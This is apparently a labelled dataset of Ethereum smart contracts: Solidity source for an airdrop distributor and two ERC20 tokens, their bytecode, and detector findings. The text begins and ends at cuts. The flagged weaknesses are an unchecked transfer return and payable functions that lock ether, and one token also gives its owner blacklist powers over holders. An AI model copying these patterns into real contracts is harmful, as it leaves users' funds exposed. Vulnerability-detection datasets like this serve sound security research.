OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // // Allows anyone to claim a token if they exist in a merkle root. interface IMerkleDistributor { // This event is triggered whenever a call to #claim succeeds. event Claimed(uint256 index, address account, uint256 amount); // Claim the given amount of the token to the given address. Reverts if the inputs are invalid. function claim( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof ) external; // Returns the address of the token distributed by this contract. function token() external view returns (address); // Returns the merkle root of the merkle tree containing account balances available to claim. function merkleRoot() external view returns (bytes32); // Returns true if the index has been marked claimed. function isClaimed(uint256 index) external view returns (bool); // Returns the block timestamp when claims will end function endTime() external view returns (uint256); // Returns true if the claim period has not ended. function isActive() external view returns (bool); } // contract MerkleDistributor is IMerkleDistributor, Ownable { address public immutable override token; bytes32 public immutable override merkleRoot; uint256 public immutable override endTime; // This is a packed array of booleans. mapping(uint256 => uint256) private _claimedBitMap; constructor( address _token, bytes32 _merkleRoot, uint256 _endTime ) public { token = _token; merkleRoot = _merkleRoot; require(block.timestamp < _endTime, "Invalid endTime"); endTime = _endTime; } /** @dev Modifier to check that claim period is active.*/ modifier whenActive() { require(isActive(), "Claim period has ended"); _; } function claim( uint256 _index, address _account, uint256 _amount, bytes32[] calldata merkleProof ) external override whenActive { require(!isClaimed(_index), "Drop already claimed"); // Verify the merkle proof. bytes32 node = keccak256(abi.encodePacked(_index, _account, _amount)); require(MerkleProof.verify(merkleProof, merkleRoot, node), "Invalid proof"); // Mark it claimed and send the token. _setClaimed(_index); require(IERC20(token).transfer(_account, _amount), "Transfer failed"); emit Claimed(_index, _account, _amount); } function isClaimed(uint256 _index) public view override returns (bool) { uint256 claimedWordIndex = _index / 256; uint256 claimedBitIndex = _index % 256; uint256 claimedWord = _claimedBitMap[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function isActive() public view override returns (bool) { return block.timestamp < endTime; } function recoverERC20(address _tokenAddress, uint256 _tokenAmount) public onlyOwner { IERC20(_tokenAddress).transfer(owner(), _tokenAmount); } function _setClaimed(uint256 _index) private { uint256 claimedWordIndex = _index / 256; uint256 claimedBitIndex = _index % 256; _claimedBitMap[claimedWordIndex] = _claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638980f11f116100665780638980f11f146100fb5780638da5cb5b1461010e5780639e34070f14610123578063f2fde38b14610136578063fc0c546a146101495761009e565b806322f3e2d4146100a35780632e7ba6ef146100c15780632eb4a7ab146100d65780633197cbb6146100eb578063715018a6146100f3575b600080fd5b6100ab610151565b6040516100b89190610871565b60405180910390f35b6100d46100cf36600461077c565b610177565b005b6100de61037d565b6040516100b8919061087c565b6100de6103a1565b6100d46103c5565b6100d461010936600461071a565b610444565b610116610505565b6040516100b89190610844565b6100ab610131366004610764565b610514565b6100d46101443660046106f8565b610538565b6101166105ee565b7f00000000000000000000000000000000000000000000000000000000624ce610421090565b61017f610151565b6101a45760405162461bcd60e51b815260040161019b90610922565b60405180910390fd5b6101ad85610514565b156101ca5760405162461bcd60e51b815260040161019b906108f4565b60008585856040516020016101e19392919061081c565b6040516020818303038152906040528051906020012090506102598383808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152507f31378eb8ab67d25c6466b7708de486857bd801c44d446b153bf02627a93bc04392508591506106129050565b6102755760405162461bcd60e51b815260040161019b90610987565b61027e866106af565b60405163a9059cbb60e01b81526001600160a01b037f00000000000000000000000090b831fa3bebf58e9744a14d638e25b4ee06f9bc169063a9059cbb906102cc9088908890600401610858565b602060405180830381600087803b1580156102e657600080fd5b505af11580156102fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061031e9190610744565b61033a5760405162461bcd60e51b815260040161019b906108cb565b7f4ec90e965519d92681267467f775ada5bd214aa92c0dc93d90a5e880ce9ed02686868660405161036d939291906109ae565b60405180910390a1505050505050565b7f31378eb8ab67d25c6466b7708de486857bd801c44d446b153bf02627a93bc04381565b7f00000000000000000000000000000000000000000000000000000000624ce61081565b6103cd6106d7565b6000546001600160a01b039081169116146103fa5760405162461bcd60e51b815260040161019b90610952565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b61044c6106d7565b6000546001600160a01b039081169116146104795760405162461bcd60e51b815260040161019b90610952565b816001600160a01b031663a9059cbb610490610505565b836040518363ffffffff1660e01b81526004016104ae929190610858565b602060405180830381600087803b1580156104c857600080fd5b505af11580156104dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105009190610744565b505050565b6000546001600160a01b031690565b610100810460009081526001602081905260409091205460ff9092161b9081161490565b6105406106d7565b6000546001600160a01b0390811691161461056d5760405162461bcd60e51b815260040161019b90610952565b6001600160a01b0381166105935760405162461bcd60e51b815260040161019b90610885565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b7f00000000000000000000000090b831fa3bebf58e9744a14d638e25b4ee06f9bc81565b600081815b85518110156106a457600086828151811061062e57fe5b6020026020010151905080831161066f57828160405160200161065292919061080e565b60405160208183030381529060405280519060200120925061069b565b808360405160200161068292919061080e565b6040516020818303038152906040528051906020012092505b50600101610617565b509092149392505050565b61010081046000908152600160208190526040909120805460ff9093169190911b9091179055565b3390565b80356001600160a01b03811681146106f257600080fd5b92915050565b600060208284031215610709578081fd5b61071383836106db565b9392505050565b6000806040838503121561072c578081fd5b61073684846106db565b946020939093013593505050565b600060208284031215610755578081fd5b81518015158114610713578182fd5b600060208284031215610775578081fd5b5035919050565b600080600080600060808688031215610793578081fd5b853594506107a487602088016106db565b935060408601359250606086013567ffffffffffffffff808211156107c7578283fd5b818801915088601f8301126107da578283fd5b8135818111156107e8578384fd5b89602080830285010111156107fb578384fd5b9699959850939650602001949392505050565b918252602082015260400190565b92835260609190911b6bffffffffffffffffffffffff19166020830152603482015260540190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b90815260200190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252600f908201526e151c985b9cd9995c8819985a5b1959608a1b604082015260600190565b602080825260149082015273111c9bdc08185b1c9958591e4818db185a5b595960621b604082015260600190565b60208082526016908201527510db185a5b481c195c9a5bd9081a185cc8195b99195960521b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c24b73b30b634b210383937b7b360991b604082015260600190565b9283526001600160a01b0391909116602083015260408201526060019056fea2646970667358221220b568de23ec169cc842cace19ee97ee5c22ade95d01bb1769fc65a27aebdd2bb564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,607
0xc2dBae939574B38D675353570495C8DB0e61A36E
// SPDX-License-Identifier: MIT pragma solidity >=0.6.12; interface IERC20Token { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function mintTo(address to, uint256 amount) external returns (bool); function burn(address account, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x < y ? x : y; } function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } contract Context { constructor() internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract INRT is Context, IERC20Token, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private keeperMap; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; bool public stopped; constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 2; stopped = false; } modifier ownerOrKeeper(address addr) { require((owner() == msg.sender) || isKeeper(addr), "caller is not the owner or keeper"); _; } function setKeeper(address addr) public ownerOrKeeper(msg.sender) { keeperMap[addr] = true; } function removeKeeper(address addr) public ownerOrKeeper(msg.sender) { keeperMap[addr] = false; } function isKeeper(address addr) public view returns (bool) { require((owner() == msg.sender) || keeperMap[msg.sender], "caller is not the owner or keeper"); return keeperMap[addr]; } modifier stoppable { require(!stopped); _; } function stop() public ownerOrKeeper(msg.sender) payable { stopped = true; } function start() public ownerOrKeeper(msg.sender) payable { stopped = false; } function mintTo(address to, uint256 amount) override public returns (bool) { require((owner() == msg.sender) || isKeeper(msg.sender), "caller is not the owner or keeper"); _mint(to, amount); return true; } function burn(address account, uint256 amount) override public returns (bool) { require((owner() == msg.sender) || isKeeper(msg.sender), "caller is not the owner or keeper"); _burn(account, amount); return true; } function getOwner() external override view returns (address) { return owner(); } function name() public override view returns (string memory) { return _name; } function decimals() public override view returns (uint8) { return _decimals; } function symbol() public override view returns (string memory) { return _symbol; } function totalSupply() public override view returns (uint256) { return _totalSupply; } function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'transfer amount exceeds allowance') ); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, 'decreased allowance below zero') ); return true; } function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), 'transfer from the zero address'); require(recipient != address(0), 'transfer to the zero address'); _balances[sender] = _balances[sender].sub(amount, 'transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal stoppable { require(account != address(0), 'mint to the zero address'); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), 'burn from the zero address'); _balances[account] = _balances[account].sub(amount, 'burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal { require(owner != address(0), 'approve from the zero address'); require(spender != address(0), 'approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub(amount, 'burn amount exceeds allowance') ); } }
0x60806040526004361061014b5760003560e01c8063748747e6116100b6578063a0712d681161006f578063a0712d68146104c2578063a457c2d7146104ec578063a9059cbb14610525578063be9a65551461055e578063dd62ed3e14610566578063f2fde38b146105a15761014b565b8063748747e6146103e657806375f12b2114610419578063893d20e81461042e5780638da5cb5b1461045f57806395d89b41146104745780639dc29fac146104895761014b565b8063313ce56711610108578063313ce567146102ce57806339509351146102f9578063449a52f8146103325780636ba42aaa1461036b57806370a082311461039e578063715018a6146103d15761014b565b806306fdde031461015057806307da68f5146101da578063095ea7b3146101e457806314ae9f2e1461023157806318160ddd1461026457806323b872dd1461028b575b600080fd5b34801561015c57600080fd5b506101656105d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e261066a565b005b3480156101f057600080fd5b5061021d6004803603604081101561020757600080fd5b506001600160a01b0381351690602001356106da565b604080519115158252519081900360200190f35b34801561023d57600080fd5b506101e26004803603602081101561025457600080fd5b50356001600160a01b03166106f7565b34801561027057600080fd5b50610279610777565b60408051918252519081900360200190f35b34801561029757600080fd5b5061021d600480360360608110156102ae57600080fd5b506001600160a01b0381358116916020810135909116906040013561077d565b3480156102da57600080fd5b506102e3610804565b6040805160ff9092168252519081900360200190f35b34801561030557600080fd5b5061021d6004803603604081101561031c57600080fd5b506001600160a01b03813516906020013561080d565b34801561033e57600080fd5b5061021d6004803603604081101561035557600080fd5b506001600160a01b03813516906020013561085b565b34801561037757600080fd5b5061021d6004803603602081101561038e57600080fd5b50356001600160a01b03166108c4565b3480156103aa57600080fd5b50610279600480360360208110156103c157600080fd5b50356001600160a01b031661094d565b3480156103dd57600080fd5b506101e2610968565b3480156103f257600080fd5b506101e26004803603602081101561040957600080fd5b50356001600160a01b0316610a1c565b34801561042557600080fd5b5061021d610a9f565b34801561043a57600080fd5b50610443610aad565b604080516001600160a01b039092168252519081900360200190f35b34801561046b57600080fd5b50610443610abc565b34801561048057600080fd5b50610165610acb565b34801561049557600080fd5b5061021d600480360360408110156104ac57600080fd5b506001600160a01b038135169060200135610b2c565b3480156104ce57600080fd5b5061021d600480360360208110156104e557600080fd5b5035610b95565b3480156104f857600080fd5b5061021d6004803603604081101561050f57600080fd5b506001600160a01b038135169060200135610c1a565b34801561053157600080fd5b5061021d6004803603604081101561054857600080fd5b506001600160a01b038135169060200135610c9f565b6101e2610cb3565b34801561057257600080fd5b506102796004803603604081101561058957600080fd5b506001600160a01b0381358116916020013516610d1f565b3480156105ad57600080fd5b506101e2600480360360208110156105c457600080fd5b50356001600160a01b0316610d4a565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106605780601f1061063557610100808354040283529160200191610660565b820191906000526020600020905b81548152906001019060200180831161064357829003601f168201915b5050505050905090565b3380610674610abc565b6001600160a01b0316148061068d575061068d816108c4565b6106c85760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506007805461ff001916610100179055565b60006106ee6106e7610dc0565b8484610dc4565b50600192915050565b3380610701610abc565b6001600160a01b0316148061071a575061071a816108c4565b6107555760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506001600160a01b03166000908152600360205260409020805460ff19169055565b60045490565b600061078a848484610edc565b6107fa84610796610dc0565b6107f5856040518060600160405280602181526020016114b9602191396001600160a01b038a166000908152600260205260408120906107d4610dc0565b6001600160a01b031681526020810191909152604001600020549190611078565b610dc4565b5060019392505050565b60075460ff1690565b60006106ee61081a610dc0565b846107f5856002600061082b610dc0565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061110f565b600033610866610abc565b6001600160a01b0316148061087f575061087f336108c4565b6108ba5760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b6106ee8383611170565b6000336108cf610abc565b6001600160a01b031614806108f357503360009081526003602052604090205460ff165b61092e5760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506001600160a01b031660009081526003602052604090205460ff1690565b6001600160a01b031660009081526001602052604090205490565b610970610dc0565b6000546001600160a01b039081169116146109d2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b3380610a26610abc565b6001600160a01b03161480610a3f5750610a3f816108c4565b610a7a5760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506001600160a01b03166000908152600360205260409020805460ff19166001179055565b600754610100900460ff1681565b6000610ab7610abc565b905090565b6000546001600160a01b031690565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106605780601f1061063557610100808354040283529160200191610660565b600033610b37610abc565b6001600160a01b03161480610b505750610b50336108c4565b610b8b5760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b6106ee838361126b565b6000610b9f610dc0565b6000546001600160a01b03908116911614610c01576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610c12610c0c610dc0565b83611170565b506001919050565b60006106ee610c27610dc0565b846107f5856040518060400160405280601e81526020017f64656372656173656420616c6c6f77616e63652062656c6f77207a65726f000081525060026000610c6e610dc0565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611078565b60006106ee610cac610dc0565b8484610edc565b3380610cbd610abc565b6001600160a01b03161480610cd65750610cd6816108c4565b610d115760405162461bcd60e51b81526004018080602001828103825260218152602001806114986021913960400191505060405180910390fd5b506007805461ff0019169055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b610d52610dc0565b6000546001600160a01b03908116911614610db4576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610dbd8161138f565b50565b3390565b6001600160a01b038316610e1f576040805162461bcd60e51b815260206004820152601d60248201527f617070726f76652066726f6d20746865207a65726f2061646472657373000000604482015290519081900360640190fd5b6001600160a01b038216610e7a576040805162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f20616464726573730000000000604482015290519081900360640190fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f37576040805162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f20616464726573730000604482015290519081900360640190fd5b6001600160a01b038216610f92576040805162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f206164647265737300000000604482015290519081900360640190fd5b604080518082018252601f81527f7472616e7366657220616d6f756e7420657863656564732062616c616e6365006020808301919091526001600160a01b038616600090815260019091529190912054610fed918390611078565b6001600160a01b03808516600090815260016020526040808220939093559084168152205461101c908261110f565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156111075760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110cc5781810151838201526020016110b4565b50505050905090810190601f1680156110f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611169576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600754610100900460ff161561118557600080fd5b6001600160a01b0382166111e0576040805162461bcd60e51b815260206004820152601860248201527f6d696e7420746f20746865207a65726f20616464726573730000000000000000604482015290519081900360640190fd5b6004546111ed908261110f565b6004556001600160a01b038216600090815260016020526040902054611213908261110f565b6001600160a01b03831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b0382166112c6576040805162461bcd60e51b815260206004820152601a60248201527f6275726e2066726f6d20746865207a65726f2061646472657373000000000000604482015290519081900360640190fd5b604080518082018252601b81527f6275726e20616d6f756e7420657863656564732062616c616e636500000000006020808301919091526001600160a01b038516600090815260019091529190912054611321918390611078565b6001600160a01b038316600090815260016020526040902055600454611347908261142f565b6004556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b0381166113d45760405162461bcd60e51b81526004018080602001828103825260268152602001806114726026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061116983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061107856fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737363616c6c6572206973206e6f7420746865206f776e6572206f72206b65657065727472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122036edcd76b9f64f9e2fd482973ed12346f5d978c4e879f32521f0438065308b8b64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
5,608
0x6514be33f1815872ec733a124af48cfdf300cf45
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ZuckBucks is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Zuck Bucks"; string private constant _symbol = "ZUCKBUCKS"; uint8 private constant _decimals = 9; mapping (address => uint256) _balances; mapping(address => uint256) _lastTX; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 _totalSupply = 1000000000 * 10**9; //Buy Fee uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _taxFee = _taxFeeOnSell; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; address payable private _marketingAddress = payable(0x01B78436b03bF6B2eb2Fb3D161E838D2CF56471f); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; bool private transferDelay = true; uint256 public _maxTxAmount = 6900000 * 10**9; //0.75 uint256 public _maxWalletSize = 15000000 * 10**9; //1.5 uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _balances[_msgSender()] = _totalSupply; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_marketingAddress] = true; //multisig emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) { require(tradingOpen, "TOKEN: Trading not yet started"); require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { if(from == uniswapV2Pair && transferDelay){ require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys"); } require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _swapTokensAtAmount) { contractTokenBalance = _swapTokensAtAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0 ether) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _taxFee = _taxFeeOnSell; } } _lastTX[tx.origin] = block.timestamp; _lastTX[to] = block.timestamp; _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { uint256 ethAmt = tokenAmount.mul(85).div(100); uint256 liqAmt = 